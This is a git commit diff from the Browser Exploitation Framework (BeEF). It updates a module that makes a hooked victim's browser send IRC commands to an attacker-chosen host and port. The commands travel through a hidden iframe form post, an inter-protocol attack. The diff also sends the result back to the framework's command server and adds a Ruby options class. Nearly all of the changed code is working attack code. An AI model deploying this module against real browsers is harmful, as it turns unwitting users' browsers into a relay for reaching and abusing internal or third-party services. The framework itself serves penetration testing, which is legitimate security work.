Update Inter-Protocol IRC module to use beef.dom.createIframeIpecForm

This commit is contained in:
bcoles
2012-10-31 00:04:54 +10:30
parent 210dc1366a
commit b756065d2a
2 changed files with 20 additions and 29 deletions

View File

@@ -22,34 +22,25 @@
*/
beef.execute(function() {
var server = '<%= @server %>';
var port = '<%= @port %>';
var nick = '<%= @nick %>';
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var nick = '<%= @nick %>';
var channel = '<%= @channel %>';
var message = '<%= @message %>';
var target = "http://" + server + ":" + port;
var irc_commands= "NICK " + nick + "\n";
irc_commands+= "USER " + nick + " 8 * : " + nick + " user\n";
irc_commands+= "JOIN " + channel + "\n";
irc_commands+= "PRIVMSG " + channel + " :" + message + "\n";
var iframe = beef.dom.createInvisibleIframe();
var form = document.createElement('form');
form.setAttribute('action', target);
form.setAttribute('method', 'post');
form.setAttribute('enctype', 'multipart/form-data');
var input = document.createElement('input');
input.setAttribute('type', 'hidden');
input.setAttribute('name', 'data');
input.setAttribute('value', irc_commands);
form.appendChild(input);
iframe.contentWindow.document.body.appendChild(form);
form.submit();
var irc_commands = "NICK " + nick + "\n";
irc_commands += "USER " + nick + " 8 * : " + nick + " user\n";
irc_commands += "JOIN " + channel + "\n";
irc_commands += "PRIVMSG " + channel + " :" + message + "\nQUIT\n";
// send commands
var irc_iframe = beef.dom.createIframeIpecForm(rhost, rport, irc_commands);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IRC command sent");
// clean up
cleanup = function() {
document.body.removeChild(irc_iframe);
}
setTimeout("cleanup()", 15000);
});

View File

@@ -17,11 +17,11 @@ class Inter_protocol_irc < BeEF::Core::Command
def self.options
return [
{'name' => 'server', 'ui_label' => 'IRC Server', 'value' => '127.0.0.1'},
{'name' => 'port', 'ui_label' => 'Port', 'value' => '6667'},
{'name' => 'nick', 'ui_label' => 'Username', 'value' => 'user1234__'},
{'name' => 'channel', 'ui_label' => 'Channel', 'value' => '#channel1'},
{'name' => 'message', 'ui_label' => 'Message', 'value' => 'Message sent from the Browser Exploitation Framework!'}
{'name' => 'rhost', 'ui_label' => 'IRC Server', 'value' => '127.0.0.1'},
{'name' => 'rport', 'ui_label' => 'Port', 'value' => '6667'},
{'name' => 'nick', 'ui_label' => 'Username', 'value' => 'user1234__'},
{'name' => 'channel', 'ui_label' => 'Channel', 'value' => '#channel1'},
{'name' => 'message', 'ui_label' => 'Message', 'value' => 'Message sent from the Browser Exploitation Framework!'}
]
end